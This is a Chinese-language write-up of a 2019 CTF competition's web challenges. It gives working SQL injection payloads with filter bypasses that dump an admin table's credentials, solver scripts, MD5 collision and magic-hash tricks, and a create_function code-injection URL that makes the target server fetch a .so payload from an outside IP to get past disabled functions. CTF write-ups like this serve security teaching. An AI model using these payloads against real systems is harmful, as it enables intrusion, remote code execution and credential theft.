Back

2019掘安杯Web

清明无聊,玩了一下这个 ctf 比赛

Web

Web 1 web签到

Description

{% colorquote info %} flag到底在哪啊!! {% endcolorquote %}

题目地址:http://120.79.1.69:8887/web1/

Hacking

Web 2 下载下载

Description

{% colorquote info %} 下载就对了,废什么话! {% endcolorquote %}

题目地址:http://120.79.1.69:8887/web2/

Hacking

题目给了一个文件下载的功能,http://120.79.1.69:8887/web2/?file=flag.txt

直接下 flag.php ,内容为

<?php
header('Content-Type: text/html; charset=utf-8'); //网页编码
function encrypt($data, $key) {
	$key = md5 ( $key );
	$x = 0;
	$len = strlen ( $data );
	$l = strlen ( $key );
	for($i = 0; $i < $len; $i ++) {
		if ($x == $l) {
			$x = 0;
		}
		$char .= $key {$x};
		$x ++;
	}
	for($i = 0; $i < $len; $i ++) {
		$str .= chr ( ord ( $data {$i} ) + (ord ( $char {$i} )) % 256 );
	}
	return base64_encode ( $str );
}

function decrypt($data, $key) {
	$key = md5 ( $key );
	$x = 0;
	$data = base64_decode ( $data );
	$len = strlen ( $data );
	$l = strlen ( $key );
	for($i = 0; $i < $len; $i ++) {
		if ($x == $l) {
			$x = 0;
		}
		$char .= substr ( $key, $x, 1 );
		$x ++;
	}
	for($i = 0; $i < $len; $i ++) {
		if (ord ( substr ( $data, $i, 1 ) ) < ord ( substr ( $char, $i, 1 ) )) {
			$str .= chr ( (ord ( substr ( $data, $i, 1 ) ) + 256) - ord ( substr ( $char, $i, 1 ) ) );
		} else {
			$str .= chr ( ord ( substr ( $data, $i, 1 ) ) - ord ( substr ( $char, $i, 1 ) ) );
		}
	}
	return $str;
}

$key="MyCTF";
$flag="o6lziae0xtaqoqCtmWqcaZuZfrd5pbI=";//encrypt($flag,$key)
?>

直接用decrypt函数解就行了…得到myCTF{cssohw456954GUEB}

Web 3 猜密码

Description

{% colorquote info %} 这题很简单 {% endcolorquote %}

题目地址:http://120.79.1.69:8887/web3/

Hacking

直接看源码

<html>
<head>
<title>猜密码</title>
</head>
<body>
<!-- 
session_start();
$_SESSION['pwd']=time();
if (isset ($_POST['password'])) {
	if ($_POST['pwd'] == $_SESSION['pwd'])
		die('Flag:'.$flag);
	else{
		print '<p>猜测错误.</p>';
		$_SESSION['pwd']=time().time();
	}
}
-->
<form action="index.php" method="post">
密码:<input type="text" name="pwd"/>
<input type="submit" value="猜密码"/>
</form>
</body>
</html>

直接点击提交获得 flag

这里确实存在疑问,后来仔细看了看确实有点问题。

{% colorquote danger %} 因为注释当中的是 POST[‘password’] 而非 POST[‘pwd’] {% endcolorquote %}

如果没有传入$_POST['password']是肯定不能执行后面代码的,这是存疑的一点,后来猜测应该是服务器代码跟注释肯定不一致才导致的问题。但是当时直接点就拿到 flag 就没有再去深究,后来这题我在群里看了也产生了比较多的讨论,后来群主也给出了源代码

<?php
header('Content-Type: text/html; charset=utf-8'); //网页编码
$flag="jactf{sfakdjgnasasdasde}";
session_start();
if (isset ($_POST['pwd'])){
	if ($_POST['pwd'] == $_SESSION['pwd'])
		die('Flag:'.$flag);
	else{
		print '<p>猜测错误.</p>';
		$_SESSION['pwd']=time().time();
	}
}

?>
<html>
<head>
<title>猜密码</title>
</head>
<body>
<!-- 
session_start();
$_SESSION['pwd']=time();
if (isset ($_POST['password'])) {
	if ($_POST['pwd'] == $_SESSION['pwd'])
		die('Flag:'.$flag);
	else{
		print '<p>猜测错误.</p>';
		$_SESSION['pwd']=time().time();
	}
}
-->
<form action="web3.php" method="post">
密码:<input type="text" name="pwd"/>
<input type="submit" value="猜密码"/>
</form>
</body>
</html>

于是这个问题就得以解释了。只要传参$_POST['pwd']为空的话,$_SESSION['pwd']未设置也为空,也就拿到了 flag 了。

Web 4 该网站已被黑

Description

{% colorquote info %} 如何预防网站被黑?把不必要的端口修改或者关闭、使用web防火墙、使用cdn隐藏IP、使用安全狗。有技术可以代码审计修复0day漏洞 {% endcolorquote %}

题目地址:http://120.79.1.69:8887/web4/

Hacking

猜测有后门,打开 shell.php,爆一下密码为 hack

Web 5 曲折的人生

Description

{% colorquote info %} 曲折是人生的常态当你遇到坎坷时,不妨把曲折的人生看作是一种常态,不要悲观失望,不要长吁短叹,不要停滞不前,把走弯路看成是前行的另一种形式,另一种途径,这样你也可以像那些走弯路的河流有勇气,抵达那遥远的人生大海。 {% endcolorquote %}

题目地址:http://120.79.1.69:8887/web5/

Hacking

随便提交我们可以发现有一个错误返回

select id,username,password from `admin` where username='admin'<br/>用户名:admin不正确

过滤了 or union select ,但是大写就可以绕过,空格过滤用%0a绕过,用username=admin'%0aUNION%0aSELECT%0a1,2,3#,发现 2 那一列被回显,所以可以在 2 处查询

<div class="tip">
        	 select id,username,password from `admin` where username='admin'
UNION
SELECT
1,2,3#'<br/>用户名:2正确        </div>

username=admin' UNION SELECT 1,group_concat(schema_name),3 from infORmation_schema.schemata#得到

<div class="tip">
        	 select id,username,password from `admin` where username='admin'
UNION
SELECT
1,group_concat(schema_name),3
from
infORmation_schema.schemata#'<br/>用户名:information_schema,xiaowei正确        </div>

表名:

 <div class="tip">
        	 select id,username,password from `admin` where username='admin'
UNION
SELECT
1,group_concat(table_name),3
from
infORmation_schema.tables
where
table_schema='xiaowei'#'<br/>用户名:admin正确        </div>

列名:

<div class="tip">
        	 select id,username,password from `admin` where username='admin'
UNION
SELECT
1,group_concat(column_name),3
from
infORmation_schema.columns
where
table_name='admin'#'<br/>用户名:id,username,password正确        </div>

用户名:

<div class="tip">
        	 select id,username,password from `admin` where username='admin'
UNION
SELECT
id,username,3
from
admin#'<br/>用户名:goodboy_g-60Hellowor正确        </div>

密码:

<div class="tip">
        	 select id,username,password from `admin` where username='admin'
UNION
SELECT
id,password,3
from
admin#'<br/>用户名:ajahas&&*44askldajaj正确        </div>

登录成功后:

 <div>the package password is <span>%^$%&sss88ioiern.gdsgj</span></div><div>the package download link=><a href='sss88ioiern.gdsgj.zip' target='_blank'>代码审计.zip</a></div>

自己用的脚本:

index_url = 'http://120.79.1.69:8887/web5/index.php'
solution_url = 'http://120.79.1.69:8887/web5/?check'
headers = {
	'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36',
	'Content-Type': 'application/x-www-form-urlencoded'
}
proxies = {
	'http':'http://127.0.0.1:8080'
}

r = requests.Session()
s = r.get(index_url,allow_redirects=True,headers=headers)
str_text = r"<div class='rep'>.*</div>"

match = re.search(str_text,s.text)
result = match.group().replace("<div class='rep'>","")
result = result.replace("</div>","")
result = result.replace("(","(")
result = result.replace("ï¼",")")
result = result.replace("‰X","*")
result = result.replace("‰/","/")
result = result.replace(b'\xc2\x89'.decode(),"")
result = str(round(eval(result)))
print(result)

# param = "username=admin'+||+'1'#&password=admin&code=" + result
# param = "username=admin' UNION SELECT 1,group_concat(schema_name),3 from infORmation_schema.schemata#&password=admin&code=" + result
# param = "username=admin' UNION SELECT 1,group_concat(table_name),3 from infORmation_schema.tables where table_schema='xiaowei'#&password=admin&code=" + result
# param = "username=admin' UNION SELECT id,group_concat(id),3 from admin#&password=admin&code=" + result
param = "username=admin'+||+'1'#&password=ajahas%26%26*44askldajaj&code=" +result
param = param.replace(' ',"%0a")
# print(param)
s = r.post(solution_url,data=param,headers=headers,proxies=proxies)
print(s.text)

这里比较坑的就是要处理那些不可见字符,我都是直接复制过来的,以及最后还有个不可见字符,用result = result.replace(b'\xc2\x89'.decode(),"")处理了…这里比较恶心…其他没什么难度

里面的代码:

Private Function getPassword(ByVal str As String) As String


    Dim reString As String
    
    Dim i As Integer
    i = 1
    
    
    While (i <= Len(str))
    
     reString = reString & Mid(str, i, 1)
     i = i + (i Mod 5)
    
    
    Wend
    

    getPassword = reString

End Function



Private Sub Command1_Click()

   Dim Dictionary As String
    
   Dictionary = "VmxSS05HSXhXbkpOV0VwT1YwVmFWRll3Wkc5VVJsbDNWMnhhYkZac1NqQlpNRll3VlRBeFNWRnNjRmRpUmtwSVZsY3hSMk14V2xsalJsSnBVakpvV0ZaR1dsWmxSbHBYWWtSYVZtRjZWbGRVVmxwelRrWmFTR1ZHWkZSaGVrWlhWR3hTVjFZeVJuSlhiRUpYWVRGYVYxcFhlRkprTVZaeVkwZHNVMDFWY0ZkV2JURXdWREZSZUZkcmFGVmlhelZvVlcxNFMxWXhjRlpXVkVaUFlrYzVObGt3VmpCWFJrcHpWbXBTVjFadFVqTldiWE4zWkRKT1IySkdaRmRTVm5CUVZtMTBhMVJyTVVkVmJrcFZZa2RTVDFac1VsZFdNVlY0Vld0a1ZVMXNXbGhXTVdodlZsZEtSMU5yWkZWV1JVVXhWV3hhWVZkSFZraGtSbVJUWWtoQ1JsWnJaRFJWTWtaMFUydG9WbUpHV2xoV01HUnZWVVp3V0UxWGNHeFdhelY2V1ZWYVlWUnNXbkpYYm1oWFlrWktVRlY2Um10U01WcFpZVVpXVjJKRmNIaFdSM1JXVFZVd2QyTkdWbFZoTVZwTVZtdFZNVkpuSlRORUpUTkU="
   
   Dim password As String
   
   password = getPassword(Dictionary)


   Dim psw As String
   
   psw = Text1.Text
   

   If (psw = password) Then
   
    MsgBox "The password is correct!", vbOKOnly, "������ȷ"
    
    Text1.Text = "Password for next pass : " & getPassword(password)
       
   Else
   
    MsgBox "PasswordFail!", vbOKOnly, "�������"
    
      
   End If
   
      

End Sub

用 python 翻译一下

def getPassword(string):
	i = 1
	reString = ''
	while i <= len(string) :
		reString = reString + string[i-1]
		i = i + (i % 5)
	return reString

Dictionary = "VmxSS05HSXhXbkpOV0VwT1YwVmFWRll3Wkc5VVJsbDNWMnhhYkZac1NqQlpNRll3VlRBeFNWRnNjRmRpUmtwSVZsY3hSMk14V2xsalJsSnBVakpvV0ZaR1dsWmxSbHBYWWtSYVZtRjZWbGRVVmxwelRrWmFTR1ZHWkZSaGVrWlhWR3hTVjFZeVJuSlhiRUpYWVRGYVYxcFhlRkprTVZaeVkwZHNVMDFWY0ZkV2JURXdWREZSZUZkcmFGVmlhelZvVlcxNFMxWXhjRlpXVkVaUFlrYzVObGt3VmpCWFJrcHpWbXBTVjFadFVqTldiWE4zWkRKT1IySkdaRmRTVm5CUVZtMTBhMVJyTVVkVmJrcFZZa2RTVDFac1VsZFdNVlY0Vld0a1ZVMXNXbGhXTVdodlZsZEtSMU5yWkZWV1JVVXhWV3hhWVZkSFZraGtSbVJUWWtoQ1JsWnJaRFJWTWtaMFUydG9WbUpHV2xoV01HUnZWVVp3V0UxWGNHeFdhelY2V1ZWYVlWUnNXbkpYYm1oWFlrWktVRlY2Um10U01WcFpZVVpXVjJKRmNIaFdSM1JXVFZVd2QyTkdWbFZoTVZwTVZtdFZNVkpuSlRORUpUTkU="

password = getPassword(Dictionary)
password = getPassword(password)
print(password)

得到压缩包密码,解压得到的图片用 strings 看一下就是 flag 了

Web 6 not_easy

Description

{% colorquote info %} this question is no easy {% endcolorquote %}

题目地址:http://120.79.1.69:8886/web6/

Hacking

 <?php
error_reporting(0);
if(isset($_GET['action'])) {
    $action = $_GET['action'];
}

if(isset($_GET['action'])){
    $arg = $_GET['arg'];
}

if(preg_match('/^[a-z0-9_]*$/isD', $action)){
    show_source(__FILE__);
} else {
    $action($arg,'');
}

Code Breaking原题,只不过把 arg 的位置换了一下,无伤大雅,依旧可以用){return 123;}这种闭合形式绕过。接下来就是突破 disable_function 的限制了。

这里我直接用了 0ctf 的解法,因为有现成的 exp 就直接拿去用了。

http://120.79.1.69:8886/web6/?action=\create_function&arg=){return%202333;}copy(%22http://106.14.153.173:8080/zedd.so%22,%22/www/wwwroot/www.sec.cn/web6/zedd.so%22);%2f%2f

后来看了一下可以简便一点,在_SERVER["SCRIPT_FILENAME"]处发现绝对路径,然后用以下看当前文件

http://120.79.1.69:8886/web6/?action=\create_function&arg=){return%202333;}var_dump(scandir(%22/www/wwwroot/www.sec.cn/web6%22));%2f%2f

可以看到我之前传上去的.so,也看到了还有两个 webshell ,直接file_get_contents读 flag 即可

看知乎还有人发了一开始没做题目隔离…还没用 docker …这个一拿到 shell 就拿到了其他题目了…

Web 7 audit

Description

{% colorquote info %} audit {% endcolorquote %}

题目地址:http://120.79.1.69:8887/web7/

Hacking

 <?php
highlight_file(__FILE__);
include('flag.php');
$str1 = @$_GET['str1'];
$str2 = @$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = (string)@$_POST['str5'];
$str6 = (string)@$_POST['str6'];
$str7 = (string)@$_POST['str7'];
if( $str1 == $str2 ){
    die('str1 OR Sstr2 no no no');
}
if( md5($str1) != md5($str2) ){
    die('step 1 fail');
}
if( $str3 == $str4 ){
    die('str3 OR str4 no no no');
}
if ( md5($str3) !== md5($str4)){
    die('step 2 fail');
}
if( $str5 == $str6 || $str5 == $str7 || $str6 == $str7 ){
    die('str5 OR str6 OR str7 no no no');
}
if (md5($str5) !== md5($str6) || md5($str6) !== md5($str7) || md5($str5) !== md5($str7)){
    die('step 3 fail');
}

if(!($_POST['a']) and !($_POST['b']))
{
    echo "come on!";
    die();
}
$a = $_POST['a'];
$b = $_POST['b'];
$m = $_GET['m'];
$n = $_GET['n'];

if (!(ctype_upper($a)) || !(is_numeric($b)) || (strlen($b) > 6)) 
{
    echo "a OR b fail!";
    die();
}

if ((strlen($m) > 4) || (strlen($n) > 4)) 
{
    echo "m OR n fail";
    die();
}

$str8 = hash('md5', $a, false);
$str9 = strtr(hash('md5', $b, false), $m, $n);

echo "<p>str8 : $str8</p>";
echo "<p>str9 : $str9</p>";

if (($str8 == $str9) && !($a === $b) && (strlen($b) === 6))
{
    echo "You're great,give you flag:";
    echo $flag;
}



str1 OR Sstr2 no no no

源码审计题,用数组可以绕过前面 4 个判断,str5 str6 str7 因为转成了字符串,所以需要强碰撞。这里可以利用Three way MD5 collision给的三个图片强行碰撞,但是比赛的时候由于自己对 python 这块不是特别熟,导致传这三个值老是传不了,最后赛后问了一下其他师傅要open().read()这样…(然而自己按照阿烨师傅的没加read()一直做不出来…

后面的可以自己 fuzz 一下,只要找到一个 md5 值可以变成0exxxxxx形式的字符串即可。这里用正则整了好一会

for ($i=99999; $i < 1000000; $i++) {
	$str = md5($i);
		$p = '/^\w{4}.[0-9]+$/';
		if (preg_match($p, $str)) {
    		echo $i."	";
			echo md5($i);
			echo "<br>";
		}
}

得到以下几个数

204540 1a083126803757739236831994920755
541725 2c125284818224703513551749833326
598677 39dd6797642068546678043973187459

其他就迎刃而解了。附上脚本

import requests
url = "http://120.79.1.69:8887/web7/?str1[]=1&str2[]=2&str3[]=3&str4[]=4&m=1a&n=0e"
data = {
    'a':'QNKCDZO',
    'b':204540,
    'str5': open('black.jpg.coll').read(),
    'str6': open('brown.jpg.coll').read(),
    'str7': open('white.jpg.coll').read()
}
proxies = {
	'http':'http://127.0.0.1:8080'
}
r = requests.post(url,data = data,proxies=proxies)
print r.text

Web 8 真的是 Web

Description

{% colorquote info %} 真的是web,格式jactf{} {% endcolorquote %}

题目地址:http://120.79.1.69:8887/web8/

Hacking

是个 WebAssembly 的题,原本算在 web 的,后面放到 rev 去了,就没看了。

Conclusion

整个比赛还是比较简单的,可以说整个比赛没有自己比赛的东西,算不上是高质量比赛,没学到什么其他的东西。把 python 又撸了一遍…简直,python3 字符编码真的有点恶心… web8 可能以后有空回回来看看,其他就没什么了。不过听说比赛主办方还是在校生…那也是挺辛苦的hhhh…还是对主办方的辛苦运维表示感谢

Licensed under CC BY-NC-SA 4.0

I am looking for some guys who have a strong interest in CTFs to build a team focused on international CTFs that are on the ctftime.org, if anyone is interested in this idea you can take a look at here: Advertisements


想了解更多有意思的国际赛 CTF 中 Web 知识技巧,欢迎加入我的 知识星球 ; 另外我正在召集一群小伙伴组建一支专注国际 CTF 的队伍,如果有感兴趣的小伙伴也可在 International CTF Team 查看详情


comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy